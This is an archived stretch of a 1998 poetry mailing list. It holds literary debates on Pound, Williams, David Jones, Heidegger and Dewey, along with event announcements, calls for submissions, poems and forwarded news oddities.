> *As a tribute to bpNichol's enormous contribution to small press publishing, "On the H Orizon: bpNichol After Ten" is putting a call out for publishers and writers to produce what we're calling "Wild Things" (after the title of bp's work in bp, published by Coach House in 1967).*
>
> *In the spirit of bp's work with small presses & small press networks, we're inviting submissions of chapbooks or ephemeral publications, which we can distribute as part of the event.*

> *SOME GUIDELINES:*
>
> **All kinds and forms of text are welcome.*
>
> **Publishers: choose a writer whose work extends a bp poetics; writers: produce something of your own in tribute to bp.*
>
> **Print run: 25 copies, lettered A-Z (excluding H).*
>
> **Optional: designate the text somewhere as "An H Project."*
>
> **West Coast Line will sell them at the conference at $5 each (50% to the publisher, 50% for the conference costs). All unsold copies will be returned.*
>
> *DEADLINES: Please contact Glen Lowry with intent to contribute ASAP. In order to qualify for inclusion, Wild Things must be received by September 18th.*
>
> *For more information contact:*
> *Glen Lowry, "Wild Things" Co-ordinator email:* [redacted]
>
> *For information on "On the H Orizon" contact:*
> *Jacqueline Larson, Managing Editor, West Coast Line, email:*
> [redacted]
> *phone: 604 -* [redacted]
>
> *"Wild Things" is designated by West Coast Line as "An H Project" in honour of bpNichol*

↑ Index

290. **Michael Magee**

Re: snorting up the Pound / Williams line

Wed 12 Aug 1998

It's really becoming a pet peeve of mine, this equation of Pound & innovation for the purpose of dismissing both: could there be a more flammable straw man? Of course not, hence his invocation tends to be followed by grousing and innuendo rather than a real, pragmatic discussion of the relative merits of innvative models of artistic production. You can't begin, first of all, by assuming that "the parts of oratory" is a scheme we need to accept out of hand: Pound's familiarity with such schemes and his paradoxical reverence for them is precisely what makes him such an easy target: he's the son who should know better. But while "inventio" is schematized easily enough, a discussion of

innovation or "experiment" might well move outside those preset boundaries: that is, experiment can be taken as a more pervasive and far-reaching method, as it is, for instance, in Ralph Ellison's discussions of "democratic vernacular speech." It's ironic that David B. would lean on "the parts of oratory" without really discussing rhetoric as itself persuasive: the act of separating oratory into parts is itself a rhetorical act, it implies a certain attitude toward both language and experience, one which values either the comfort provided or the power gained by preset categories. In contrast, there are arguments like John Dewey's that

"A Philosophy animated, be it consciously or unconsciously, by the strivings of men to achieve democracy will construe liberty as meaning a universe in which there is real uncertainty and contingency, a world which is not all in, and never will be, a world which in some way is incomplete and in the making, and in these respects may be made this way or that according as men jusdge, prize, love and labor...a genuine field of novelty of real and unpredictable increments of existence, a field for experimentation and invention" (Characters & Events 2:851).

Now, Dewey spends 350 pgs in *Art as Experience* describing how this insistence on "experimentation and invention" applies to language. Let's have a discussion about the merits of *that*, or of Burke's *Language as Symbolic Action* (also a masterful argument for innovative writing) or, for that matter, of Bernstein's *A Poetics* - all serious defenses of experimental writing too complex and distinct to simply equate. Which is to say, pick on someone your own size, & leave Pound's carcass alone - it's picked clean. -m.

According to David Baratier:
> > Innovators. Pound missed the drunken boat there. The exclamation of
> Inventio as having a placement above the other four parts of oratory
> hits me like one saying Pindar's anti strophes are the most important
> element of a triad, or spacial cogency into irrationality in Demuth's #5
> was the primary poignancy of preferring cheese over the milk and
> macaroni after cooking. I advocate a current mimeticism into mediocrity.
> Name who we wish. Excogitaire. For those of us who think there might not
> be.
>
> Be well
>
> David Baratier
>

↑ Index

291. Erik Sweet
"Tool a Magazine" Party Friday 8/14
Wed 12 Aug 1998

EVERYONE IS WELCOME!!!
"Tool a Magazine"

I would like to invite all of you in the NYcity area to a party

"Tool a Magazine" is celebrating our first issue with a party at:

*Teachers and Writers Collaborative in Manhattan, 5 Union Square West, 5th Floor
Friday August 14th at 6pm

Reading from their work will be: *Pierre Joris*
Jordan Davis
Anselm Berrigan (its his birth-day!!!!)
Eleni Sikelianos
plus "surprise guests.."

There will be food, drinks, and a Pinata at 9pm!!!
...Let the candy rain down.....

Everyone is welcome
Fisrt Ten Guests get a great Pez Dispenser!!!!!

Hope to see you all there!!!!!! The magazine will be available for purchase...

erik sweet lori quillen

↑ Index

292. Fredrik Hertzberg LIT
Cave the teacher (fwd)
Wed 12 Aug 1998

---------- Forwarded message ----------
Date: Wed, 12 Aug 1998 14:40:47 +0000
From: peggy <[redacted]>
To: [redacted]
Subject: Cave the teacher

Hallo !

while peeling potatos i was listening to the radio. It was an interview with Christian Hinze from the Vienna Poetry School announcing a course called "How to write a lovesong" from 15th till 28th of september. The course will lead Nick Cave. 12 people are allowed to take part. Cave himself will select these

peole out of applications they have to send. There are strict rules for application. Christian Hinze said the only song by Nick Cave he knew was the one everybody kows and Blixa Bargeld (who has lead a course before) invited him to a Bad Seed concert last year in Vienna. And after the concert Hinze asked Cave whether he would like to lead a course at the school, yeah and it seemed like he has agreed.....

who had ever thought he would...

↑ Index

293. **Susan Schultz**
Re: Cave the teacher (fwd)
Wed 12 Aug 1998

Would Chris Stroffolino be so kind as to back-channel me (about Laura Riding).

Thanks, Susan S.

↑ Index

294. **louis stroffolino**
Re: PS to DLB
Wed 12 Aug 1998

Yes, Robert, and we must not forget the picture of David at the piano (i didn't know you played piano david) and of Rae A. at the horse.... Haven't gotten around to reading much of it yet, but have read Steve Evans' piece, and I think it does a great service to Perelman by NOT simply mentioning P's "canonical" poems, but also his earlier work.... and also for including such phrases as-- "Published in a mid-sized, NEA-supported run of six hundred..." etc.... well, more on this DLB thing later.....chris

On Tue, 11 Aug 1998, Robert Archambeau wrote:

> *Almost forgot to mention -- p. 23 includes rare photo of David Bromige at 2 years of age. Awwwww....*
>
> *Bob*

↑ Index

295. **Robert Corbett**
Re: Postmodern Piracy Festival /Call for Participants (fwd)
Wed 12 Aug 1998

Dan-

this probably wouldn't help your vita, but it sounds quite fun. it seems that anything with the word "pirates" in the title is hip academically. perhaps poe and piracy is a doable topic.

robert

On Fri, 19 Jun 1998, Poetics List wrote:

> *forwarded from Doug Rice at [redacted]*
>
> *NOBODADDIES: An Independent Press of*
> *Pirated Textual and Sexual Identities*
> *Presents:*
> *A Festival of Postmodern Piracy*
> *April 14-16, 1999*
> *Kent State University-Salem (Ohio)*
> *Kent State University-Salem (Ohio)*
>
> *You are invited to submit theoretical and critical abstracts (100-500 words) addressing any aspect or interpretation of the festival's theme Piracy of Words, Bodies, Subjectivities, Cultures, Identities, or Representations. Panel proposals are also encouraged and should include the panel's title, participant's names, and abstracts. All approaches in the humanities (particularly literary, cinematic, musical, or philosophical) are welcomed. Possible topics include, but are not limited to:*
>
> ** History and Practice of Plagiarism, Appropriation, or Piracy * Theoretical approaches to Plagiarism, Appropriation, or Piracy * Performances of Plagiarism, Appropriation, or Piracy * Explorations of Contemporary Rewriting of Older Tales * Aesthetic Outlaws, Migrant Tongues * Schizo-Flesh or Infected Texts * Gender Blurring/Blending/Cutting/Erasing * Nomadic Skinshows * Viral Languages, Theories, Images, Bodies * Transgender Issues of Bodies and Languages * The Politics and Poetics of Transgression * Special Panels and Sessions on the works of Kathy Acker, William S. Burroughs, Ray Federman, Gilles Deleuze, David Cronenberg. * A Colloquium on the NEA and Censorship.*
>
> *We are interested in a variety of approaches, including works that confuse boundaries of genre, discourse, and discipline; works that analyze primary texts; creative works that perform any of these issues. Selected work will be published in a festschrift celebrating the festival.*
>
> *Please Address submissions to: Doug Rice Kent State University-Salem 2491 State Route 45 South Salem OH 44460 For further information, please contact Doug Rice at [redacted]*

Robert Corbett "you are there beyond/ tracings flesh can [redacted] take,/ and farther away surrounding and University of Washington informing the systems" - A.R. Ammons

↑ Index

296. **Pritchett,Patrick**
Re: Bombay Gin
Wed 12 Aug 1998

The 1998 issue of Bombay Gin - the annual publication of The Jack Kerouac School at Naropa - is now available. It features a beautiful color cover by Kenneth Patchen, along with a 30 page excerpt from _In Quest of Candlelighters_.

Work by all the usual suspects - Waldman, Schelling, Hawkins, Hollo, Collom, Abbott, Taylor, Bye - and poems by, among many others, Diana Rickard, Jack Greene, Jeni Olin, Cedar Sigo, Clayton Eshleman, Lisa Jarnot, Ha Jin, Alma Luz Villanueva, and yours truly.

Price is $10.00. Order by calling (303) 546 - 3540 or 800/[redacted].

Thanks,
Patrick Pritchett

↑ Index

297. **Robert Corbett**
Re: Postmodern Piracy Festival /Call for Participants (fwd)
Wed 12 Aug 1998

---

pardon my backchannel, though perhaps this managed to remind people about this interesting conference(?)

robert

Robert Corbett "you are there beyond/ tracings flesh can [redacted] take,/ and farther away surrounding and University of Washington informing the systems" - A.R. Ammons

↑ Index

298. **Henry Gould**
Re: snorting up the Pound / Williams line
Wed 12 Aug 1998

On Wed, 12 Aug 1998 09:36:05 -0400 Michael Magee said:
>
>Now, Dewey spends 350 pgs in *Art as Experience* describing how this
>insistence on "experimentation and invention" applies to language. Let's

>have a discussion about the merits of *that*, or of Burke's *Language as
>Symbolic Action* (also a masterful argument for innovative writing) or,
>for that matter, of Bernstein's *A Poetics* - all serious defenses of
>experimental writing too complex and distinct to simply equate. Which is
>to say, pick on someone your own size, & leave Pound's carcass alone -
>it's picked clean. -m.

I doubt if anybody's against experiment & innovation per se. But since you seem to think a serious pragmatic discussion requires citation - then how would one or more of the above authorities, do you think, respond to the following positions of anglo-welsh artist-poet David Jones, which he asserts in various places:

1. All art is fundamentally abstract, since it basically involves "making a shape"; and the (Aquinas-Joycean) "radiance of form" is the substance of the work itself. So "abstract art" is an assertion of this basic aspect in isolation to some degree. Jones does NOT condemn it or even criticize it on these grounds; but he suggests that any foregrounding of any particular "virtue", while it may have immediate benefits, can lead to various kinds of dessication.

2. All art is a sign-making activity which points toward something lost or distant or "other"; in this sense it is "extra-utile", un-useful, impractical; it is the opposite of what Jones (writing during WW II) called materialism, pure force, the material "thing" without this "significance". Not that he was a "spiritualist" or anti-materialist; he was an "incarnational" artist, whose exemplar was Joyce, and he related giving somebody flowers as a token of love and the Eucharistic Mass as equally "significant". Poetry & art are essentially anamnesis - re-calling - something absent, via signs.

3. Well-made art aspires to re-member & contain EVERYTHING; thus comedy will touch on tragedy & vice versa; a painting of a chair will recall thrones & kingdoms, etc. Art aspires to all-inclusive wholeness: this is "objective" form.

For Jones the material of art had a "sacramental" unity; he was a old culture bard,"conservative", who wrote long poems clearly influenced by Pound's techniques as well as Joyce, the Bible, Blake, Smart, folk tales, history, geology, etc. This devotional mentality set him against a purely "material" approach to art; the bardic role of memory (anamnesis) put limits on invention for its own sake, which I think he would relate to pure materialism or in-significance. At the same time he followed Jacques Maritain in recognizing that art perfects itself within its own sphere (practice, "doing") and this involves technical, formal "rightness". But he distinguished between the technical (or purely instrumental) and the artistic (the making of "extra-utile" signs). It's the old yin/yang, active/contemplative, dominate/cooperate, nominalist/realist thang...

I don't think anybody's been "dismissing" experiment. I for one have been questioning some of the American shibboleths of who or what or in what spirit experiment is now happening (or have been trying to anyway).

- Henry Gould

↑ Index

299. **trbell**
poetic incest or snorting
Wed 12 Aug 1998

Black Whole
or 101 Ways to Conquer Chaos

chaotic child's play curbed
hammock backyard slowswinging
sarcastically soar

reading too much into it reading too
homesafe oxenfree by the book
and candle flares rocket's red glare

snarled clay owned if uttered
platitudes marshmallow mayhem
phallicle starship or oracle heeded

or

Tanka 1.
Chaotic child's play
curbed in 101 ways.
In a slowswinging
soar in blue backyard hammock
sarcastically over.

Tanka 2.
Reading too much reading
into it Jack's homesafe.
Do it by the book
until candles flare, rockets
glare red, and does startle, flee.

Tanka 3.
Snarled clay, phallic
swagger, owned if uttered
by pious platitudes,

marshmallow pillows, discursive
rules and regs., objects. Not I.

tom bell

↑ Index

300. Jordan Davis
<to enter the subject>
Wed 12 Aug 1998

---

1. The difference that makes meaning may or may not be oppositional, dialectic.

There is no context for this remark.

The difference that makes meaning what? Assume that some part of language is being talked about, maybe some small part.

Is a phonemic difference meant, and if so, is a sort of "color-wheel" of english (for example) phonemes implied? If so, how does this connect to encryption and graphological systems of value (e.g. gematria, kaballah)? Do systems which attribute different qualities to the letters pay their pathos dues?

If not a phonemic difference, then what. Morphemes? The question, and then the apap. The apparently relevant found text skews the rhetorical question, it starts to look like allegory. The clause then because. Then becomes the unit of meaning which must differ. The late 19th early 20th century terrain of statements, hesitations and modifications.

But! subtle observations distributed among several clauses become attenuated, less robust. Associationism and stream-of-consciousness present a cluster of meanings, literature is writing again! Progress! (Or, epistomology as SWAT team).

The party isn't over, you just stopped getting invited, at least until things get retro enough for you to be seen as a genial precursor of the next odd use for words.

Is this change in the making of meaning from the clausal genteel to free cluster-fuck ... is it a DIALECTIC change? Always already? Never not yet?

Small boat
appraisal
guide

↑ Index

301. MAYHEW
Pound, techne, Jones, Heidegger
Wed 12 Aug 1998

Is there sort of a techno-poetics specific to American poetry of which Pound is the founder, an emphasis on the invention of new literary techniques? While there are avant-gardes everywhere I don't find this same obsession with techne per se in other modern traditions, to the same extent at least. Someone can correct me if I'm wrong on this. This is what Bly was trying to say back in the 50s and 60s. (not that I agree with HIM)

Jones, as described by H. Gould, seems vaguely Heideggerian (if that is not a redundancy). The Heideggerian approach would seem to distrust technique for at least two reasons--because technique seems somehow inessential to what poetry is really about, and because technique is related to technology, seeing the world as somehow raw material waiting for us to instrumentalize it. Am I on the right track here or am I missing the point?

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

302. charles alexander
(Fwd) Rejected posting to [redacted]
Wed 12 Aug 1998

I'm forwarding this from Chris Alexander

>From: "Christopher W. Alexander" <[redacted]> (by way of
Charles Alexander <[redacted]>)
>Subject: Davidson query
>Mime-Version: 1.0
>Content-Type: text/plain; charset="us-ascii"
>
>
>
>off the list but as you can see I'm still breathing
>(typing) and haven't left yet. can one of you nice
>listees give a former listee Michael Davidson's
>snail-mail address?
>

> thanks! chris
>
>pls backchannel me at <[redacted]>.
>
>..
>
>Christopher W. Alexander etc. / nominative press collective
>
>*new email: [redacted]
>snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
>*snail-mail after 16 August: 19 Hodge St. #9 / Buffalo NY 14222
>press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/
>
>
>
>
>

↑ Index

303. **Donald Wellman**

Re: Pound, techne, Jones, Heidegger

Wed 12 Aug 1998

I'll chirp in here.

For both Pound and Jones, I believe 'techne' is a form of weaving over the surface of something soul-like and essentailly spiritual, a catching of those shadows:

> And the small stars now fall from the olive branch,
> Forked shadow falls dark on the terrace
> More black than the floating martin (EP, Canto XLVII)

For Williams, 'techne' is more mahinic, the poem being a machine made of words: 'techne' becomes 'method'. And this seems a pretty clear line through Creeley and Olson to Bernstein. I think the notion of poetry or language as an instrumental extension of the senses useful for making discoveries otherwise not-detectable seems to me a very American, very pragmatic take on how or why one writes.

So as far as this history goes, Pound is on Henry's side; Williams etc aligns with Dewey etc.

Don Wellman

↑ Index

304. Donald Wellman
Re: Pound, techne, Jones, Heidegger
Wed 12 Aug 1998

---

toddbaron wrote:

> *william's "machine"*
> *was a modernist technic of*
> *responding to a query regarding "WHAT*
> *is poetry." He meant it*
> *and didn't mean it--for williams--*
> *(see KORA) the machine always needed to*
> *be refuled and reworked and discarded--plus*
> *he very much thot of the AMERICAN machine--*
> *a device.*

Yes " a device" this is very much what I meant in my hurry to conflate reductions. The method of using language as a device for discovery (many orders of discovery) seems very American. I believe Bernstein has spoken more than once on meaning and method in ways that reflect this notion of a "device." It is one of the clearer lines among those that one might attempt to trace. Watten too has an essay on on Williams's machine that seems to align Williams with his own practice.

Now there are other methods--surrealism of course that I don't think will be confused with 'techne".

I stand by my aligning of Pound and Jones with respect to techne and in differentiation from the more mechinic and technical use of language as device that seems distinctive of American Experimental poetry--pointing out what I think of as a major mis-alignment of Henry's pawns.

Don

↑ Index

305. joel lewis
f.y.i.
Wed 12 Aug 1998

Human Interest

*** Sony shutters camera that sees through clothes

Electronics giant Sony Corp. said Wednesday it had halted shipments of some video cameras after finding they could be used for filming more of their subjects than meets the eye. Some versions of the Handycam have infrared

technology which lets users shoot at night or in darkness in a "night shot" mode. But magazine reports revealed that when the special feature is used in daylight or a lighted room with a special filter it can "see through" clothing - underwear can show up, especially on those lightly dressed, and people wearing swimsuits look almost naked. A Sony spokesman said the first the company knew of the camera's surprise feature was when reporters started asking for comments on the "new way" of using the camera. See http://www.infobeat.com/stories/cgi/story.cgi?id=2555514238-e9f

*** Killer mink, sharp fish dominate U.K. newspapers

If you are lucky enough to avoid the killer mink marauding through Britain's forests and the razor fish littered across its beaches, watch out for the funky chickens. This is the peak of the so-called "Silly Season," when editors desperate to fill space resort to stories which would usually be buried deep inside the paper. "In France and Italy the whole country shuts down in August - even cinemas close - but in Britain, hacks must still turn out a newspaper and hope that something or other happens while the population takes its two-week holiday," wrote Linda Grant of the Guardian broad-sheet. In the dog days of August, anything will do. Most front pages on Monday were dominated by the tragic story of unwary bathers on a beach in southwestern England who cut their feet open on the exposed shells of razor fish. (Reuters)

*** Iran women to be allowed to watch male wrestling meet

Iranian women will be permitted to attend a men's wrestling competition for the first time in nearly 20 years, the vice-president of Iran's wrestling federation said Wednesday. A special viewing section will be allocated to women during the World Wrestling Championships in Tehran on Sept. 8-11, the daily newspaper Tous quoted Mohammad-Reza Taleqani as saying. After the 1979 Islamic Revolution, women have been prohibited from attending men's sports competition. See http://www.infobeat.com/stories/cgi/story.cgi?id=2555516914-d63

↑ Index

306. **hen**
Re: Pound, techne, Jones, Heidegger
Wed 12 Aug 1998

On Wed, 12 Aug 1998 15:50:44 -0500 MAYHEW said:
>Is there sort of a techno-poetics specific to American poetry of which
>Pound is the founder, an emphasis on the invention of new literary
>techniques? While there are avant-gardes everywhere I don't find this same
>obsession with techne per se in other modern traditions, to the same
>extent at least. Someone can correct me if I'm wrong on this. This is
>what Bly was trying to say back in the 50s and 60s. (not that I agree

>with HIM)
>
>Jones, as described by H. Gould, seems vaguely Heideggerian (if that is
>not a redundancy). The Heideggerian approach would seem to distrust
>technique for at least two reasons--because technique seems somehow
>inessential to what poetry is really about, and because technique is
>related to technology, seeing the world as somehow raw material waiting
>for us to instrumentalize it. Am I on the right track here or am I missing
>the point?

You're not off the point but it gets complicated. From the little I've read of Jones so far it does seem he could fall into a sort of reactionary dualistic thinking along the lines of CP Snow, emphasizing the wide gap between science and art, technology and culture. But it's complicated; his father & grandfathe r I think were both craft workers in the London dockyards; his poetry his FILLED with images of techne, making, etc.; he had an anthropological concept of "man" the maker, claiming that "the Christian religion could not exist without artefacture" (the bread & wine were not simply things of nature but were "made" things).

Jones's fear of the sameness of industrializing technology is related to his "Welsh" consciousness, the identification with a threatened local culture, and perhaps this fear blinded him to the creative-theoretical (non instrumental) aspects of science. But he made up for it with a highly organized christological aesthetics: the universe is itself a "work of art", a "making"; the sacraments unite humanity with the divine form at the crux of that making; art which remains true to itself (the orbit of free & beautiful "making") is a sign of that larger whole; and so on. Jones's own poetry is highly technical & experimental - but he distinguished between all the functional arts (from agriculture to war) & the fine arts, which are strictly "useless", being devoted to beauty-as-it-is. (Not without acknowledging the beauty of the functional as a basis & inspiration of the fine arts.) If you read some of his essays & poetry you notice his awareness of a great deal of "useless beauty" not only in art itself but in life in general, everywhere. The link between the two is what he saw threatened by mere functionalism, utilitarianism, standardisation, etc.

I don't want to juxtapose Pound & Jones; you can find these affinities & contrasts just about anywhere. Perhaps Jones didn't emphasize the "instrumentalities" of technique as much as Pound did because he was actually more derivative, & borrowed a lot from Pound himself. But you won't find Jones talking about the culture-changing possibilities of the variable foot or the breath-line or the materiality of the signifier or breaking the pentameter etc. etc. He had a different, perhaps deeper sense of craft, possibly because he was a skilled painter as well as a poet. All the techne goes for naught if the "form" of the

artwork gives no "sign" - and he understands this in a kind of strict, Jesuitical, almost military sense, derived partly from Joyce & Aquinas. & the "signs" are coterminous & continuous with the miraculous & incarnational formal "sign-substance" of reality itself... - Henry Gould

↑ Index

307. **hen**
Re: <to enter the subject>
Wed 12 Aug 1998

On Wed, 12 Aug 1998 16:34:38 -0400 Jordan Davis said:
>
>But! subtle observations distributed among several clauses become
>attenuated, less robust. Associationism and stream-of-consciousness present
>a cluster of meanings, literature is writing again! Progress! (Or,
>epistomology as SWAT team).
>
>The party isn't over, you just stopped getting invited, at least until
>things get retro enough for you to be seen as a genial precursor of the next
>odd use for words.
>
>Is this change in the making of meaning from the clausal genteel to free
>clusterfuck ... is it a DIALECTIC change? Always already? Never not yet?

Abstract art makes a splash by devaluing every referent except itself, but that's a risky strategy because the next step is to devalue itself; so you have Ab Expressionism & then the referent zeroes in on flags & targets for a moment & then pop, value of art per se is gone. Example of Jones's idea of a virtue taken in isolation. So postmodernism took association streams of meaning & just left the clusters, took out the meanings; you have abstract-abstractionism in literature; self-reference to nada; clusters of clusters. Naturally the clausal-causal sentence starts to seem dialectical in this atmosphere. "The purpose of art is to give pleasure" somebody said. - Henry Gould

↑ Index

308. **toddbaron**
Re: Pound, techne, Jones, Heidegger
Thu 13 Aug 1998

---

william's "machine"
was a modernist technic of
responding to a query regarding "WHAT
is poetry." He meant it

and didn't mean it--for williams--
(see KORA) the machine always needed to
be refuled and reworked and discarded--plus
he very much thot of the AMERICAN machine--
a device.

A clear line to Charles B?
Nothing is a clear line--not always is writing a "instrumental extension
of the senses"--that's sd
obviously--ironically I hope--as the sense are
not always a part of writing. Haven't we got past that yet?

Did Duchamp inform Williams?

Yes-- Duchamp's "senses" include a love of the machine--
not of a singular (coleridge) self composed.

Todd B
(Remap)

↑ Index

309. **Ryan Whyte**
Re: <to enter the subject>
Thu 13 Aug 1998

---

is this a joke?

On Wed, 12 Aug 1998, hen wrote:

> *Abstract art makes a splash by devaluing every referent except itself, but that's a risky strategy because the next step is to devalue itself; so you have Ab Expressionism & then the referent zeroes in on flags & targets for a moment & then pop, value of art per se is gone. Example of Jones's idea of a virtue taken in isolation. So postmodernism took association streams of meaning & just left the clusters, took out the meanings; you have abstract-abstractionism in literature; self-reference to nada; clusters of clusters. Naturally the clausal-causal sentence starts to seem dialectical in this atmosphere. "The purpose of art is to give pleasure" somebody said. - Henry Gould*

↑ Index

310. **joel lewis**
more f.y.i.
Thu 13 Aug 1998

* In May, Walter Scott Knieriemen, who admitted breaking into a woman's home in Wheeling, W. Va., was acquitted of burglary charges after a jury apparently found that he had done it without illegal intent. A psychiatrist testified that Knieriemen suffered from a childhood-based sexual dysfunction that impelled him to pursue a pair of leather gloves he had recently seen the woman wear.

* The Guardian (London) newspaper reported in May on the enormous television audiences in Brazil watching the nightly, Jerry Springer-like show "Ratinho Livre" (roughly, The Mouse, Unleashed), a forum for the downtrodden. Among recent interviewees were patients with horrible medical conditions begging for otherwise-unaffordable treatment (e.g., 8-year-old boy with 21 tumors in his mouth); a woman whose eyes were skewered and ears lopped off in a domestic fight but whose husband was still on the lam; and an equally unpopular husband and wife, whom the audience urged to assault one another.

* Cafe Ke'ilu ("Cafe Make Believe") opened in a trendy section of Tel Aviv, Israel, in April, with tables, chairs, plates, silverware, menus, and servers, but no food or drink. Explained manager Nir Caspi (who calls the experience "conceptual dining"), people come to be seen and to meet people but not for the actual food. The menu, designed by top-rated chef (and owner) Phillipe Kaufman, lets diners order some of the world's most exquisite dishes (eel mousse, salad of pomegranates, if in season), "served" on elegant (but empty) platters.

* In November, the Albuquerque Environmental Health Department, in an official inspection report, urged that the Ice House nude-dance club should immediately correct two food- contamination conditions. First, it was serving pizza at less than the required 140 degrees F. Second, wrote the city inspector, a sanitation risk was being posed by a dancer named Stephanie Evans, whose act consisted in part of expelling Ping Pong balls from her vagina to various points in the room, in that the balls could possibly land on pizza slices or in customers' drinks.

* The official historical agency Heritage Canada released its 1998 calendar in January marking such benchmark dates as "World Book and Copyright Day" but making no mention of Christmas and Easter. And an official Valentine's Day poster at Langara College in Vancouver, British Columbia, featuring a silhouetted female and a male ready to kiss, drew fire from a campus gay and lesbian group, which suggested a "neutral" image of two hands clasping. That latter image itself was later derided by a Langara student union representative as possibly offensive to a person with no hands.

* In March, the Romanian soccer team Jiul Petrosani sold midfielder Ion Radu to the Valcea team for about $2,500 worth of pork. (Jiul Petrosani earlier traded defenseman Liviu Baicea to Valcea for 10 soccer balls.)

* In a story on pet-friendly hotels, the Boston Globe in April reported that the Four Seasons lets pets stay free and offers a special menu (including room service) featuring "Rin Tin Tin Tartare" (tenderloin and egg yolk) and "Cat's Meow" (poached salmon with arborio rice), as well as special desserts and dishes for pets on a diet.

* In February, Christian Poincheval, a radio station manager in LeMans, France, introduced Petit Lutin toilet paper for the "reading room," on which are printed short articles on French current affairs, geography, and culture, with no-stain ink and new editions to be released monthly.

* Recent Restaurant-Openings: In Tokyo, the trendy Alcatraz BC, themed after the California prison, in which diners are handcuffed, eat in cells, and must beg permission from the guards to be allowed out to visit the restroom. And in London, a pill-themed restaurant called The Pharmacy (designed by edgy artist Damien Hirst), with prescription containers everywhere, barstool seats resembling aspirins, and staff dressed as surgeons. ("The challenge," said co- owner Jonathan Kennedy, "was how far you can go before it becomes too much.") And in Singapore, the House of Mao, an otherwise-upscale Chinese restaurant but with green-uniformed staff and pictures galore of Mao Zedong.

* In February, two Russian cosmonauts aboard the Mir space station hawked NASA space pens ($32) and other paraphernalia on the American QVC shopping channel, in an effort to raise some money for their country's underfunded space program. A total of 530 people bought something, including 11 who paid from $90 to $2,500 for tiny Mars rocks. Six others submitted to credit inquiries about buying $25,000 Sokol KV-2 spacesuits.

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311. Alan Jennifer Sondheim

Elaboration for Andy Kaufman

Thu 13 Aug 1998

-

Elaboration

2d1 < 18d16 < 21d18 < 54d50 < 57d52 < 74d68 < 77,78d70 < < 82d73 < 108d98 < 2d1 < 5d3 < 11d8 < I'm always surprised about the reactions my work receives. I live inside of the texts, surrounded by them. I think they're literally the only reason I'm alive. I can't see them all that clearly, and I wear glasses even for the most mundane tasks of everyday life. I thirst for responses,

imagine readers and other writers, imagine the world held together by tooth-picks and safety pins. Someone carefully breaking through the fabric. Another voice which is also a face. 2d1 < 18d16 < 21d18 < 54d50 < 57d52 < 74d68 < 77,78d70 < < 82d73 < 108d98 < 2d1 < 5d3 < 11d8 <

2d1 < 18d16 < 21d18 < 54d50 < 57d52 < 74d68 < 77,78d70 < < 82d73 < 108d98 < 2d1 < 5d3 < 11d8 < Sometimes I would like her to wear suspenders. They would carefully and lovingly wrap around the softness of the shoulders, descending in front, and behind as well, tiny clips holding everything in place, the X-hieroglyph before and behind the body, or perhaps parallel lines. For the nourishment that the reaction to my writing gives, were he to take soft time and pen in hand. 2d1 < 18d16 < 21d18 < 54d50 < 57d52 < 74d68 < 77,78d70 < < 82d73 < 108d98 < 2d1 < 5d3 < 11d8 <

2d1 < 18d16 < 21d18 < 54d50 < 57d52 < 74d68 < 77,78d70 < < 82d73 < 108d98 < 2d1 < 5d3 < 11d8 < He was beautiful and read my words slowly, one after another, for example this one, and now this. Then he would write to me and for me, on the lists and backchannel, such sweet sweet lines such that I would learn true understanding of my work and life. 2d1 < 18d16 < 21d18 < 54d50 < 57d52 < 74d68 < 77,78d70 < < 82d73 < 108d98 < 2d1 < 5d3 < 11d8 <

2d1 < 18d16 < 21d18 < 54d50 < 57d52 < 74d68 < 77,78d70 < < 82d73 < 108d98 < 2d1 < 5d3 < 11d8 < Sometimes I will dream of a reader who comes to me in her sleep. 2d1 < 18d16 < 21d18 < 54d50 < 57d52 < 74d68 < 77,78d70 < < 82d73 < 108d98 < 2d1 < 5d3 < 11d8 <

2d1 < 18d16 < 21d18 < 54d50 < 57d52 < 74d68 < 77,78d70 < < 82d73 < 108d98 < 2d1 < 5d3 < 11d8 < always learning and beautiful Alan 2d1 < 18d16 < 21d18 < 54d50 < 57d52 < 74d68 < 77,78d70 < < 82d73 < 108d98 < 2d1 < 5d3 < 11d8 <

↑ Index

312. **toddbaron**

Re: "I" is another"---

Thu 13 Aug 1998

ah--ok. but really--I was attacking yr instance of "self or sense" as primary de-vice--that might have been true at one point of williams--but the poem extends much further than the "senses" and--again--my instance of Duchamp--and Williams--as Williams was most influenced and interested in that school of thot--the armory show/etc.

we need to rid the "self" from such discussion of poetics--

"I" amend.

TB

↑ Index

313. Peter Ganick
address request
Thu 13 Aug 1998

hello

does anyone have a current email and/or snailmail
address for kevin magee?...backchannel, please.

peter ganick
[redacted]

↑ Index

314. Michael Magee
Re: Pound, techne, Jones, Heidegger
Thu 13 Aug 1998

I think Don's answer to Henry below is a smart and succinct frame. The mention of Heidegger, too, is potentially useful - Jones, as described by Henry believes that "all art is a sign-making activity which points toward something lost," - this, I think bears relation to that tendency of Heidegger's (which, incidentally, rubs off on Derrida) to deify the endless chain of signification. As Heidegger put it,

"The origin of language is strange and mysterious. And this means that language could only have arisen from the overpowering, the strange and terrible, through man's departure into being. In this departure, language was being, embodied in the word: poetry."

What's interesting to me here is that someone like Dewey wouldn't take exception to Heidegger's premise so much as his emphases, as revealed in those adjectives: "strange and mysterious...the overpowering, the strange and terrible." Language becomes in Heidegger's hands, the substituted God-term, it is what has been lost, and - most important - what can only be found in a moment of transcendent revelation or the like. If Jones is like Heidegger and Heidegger is like Pound it's here: "the book should be a ball of light in one's hand," as EP put it. So while Dewey would certainly agree that language is mysterious, that, as Heidegger would say (after Heracleitus), it "likes to hide," he would be careful about using words like "overpowering" and "terrible" b/c he's keen to their rhetorical dubiousness. He'd prefer to emphasize the utility of linguistic

contingency when it is *not* mystefied, when art is not a hand stretched toward a lost other (language, God, it makes no difference since rhetorically it serves the same purpose: we were once part of it and now we're alienated); when art is, instead a particularly useful method for negotiating both with and against received vocabularies, useful, as Don sugested, for discovering "what's new" about the body's relation to the body-politic. -m.

According to Donald Wellman: > > I'll chirp in here. >
> For both Pound and Jones, I believe 'techne' is a form of weaving over
> the surface of something soul-like and essentailly spiritual, a catching
> of those shadows:
> And the small stars now fall from the olive branch,
> Forked shadow falls dark on the terrace
> More black than the floating martin (EP, Canto XLVII)
>
> For Williams, 'techne' is more mahinic, the poem being a machine made of
> words: 'techne' becomes 'method'. And this seems a pretty clear line
> through Creeley and Olson to Bernstein. I think the notion of poetry or
> language as an instrumental extension of the senses useful for making
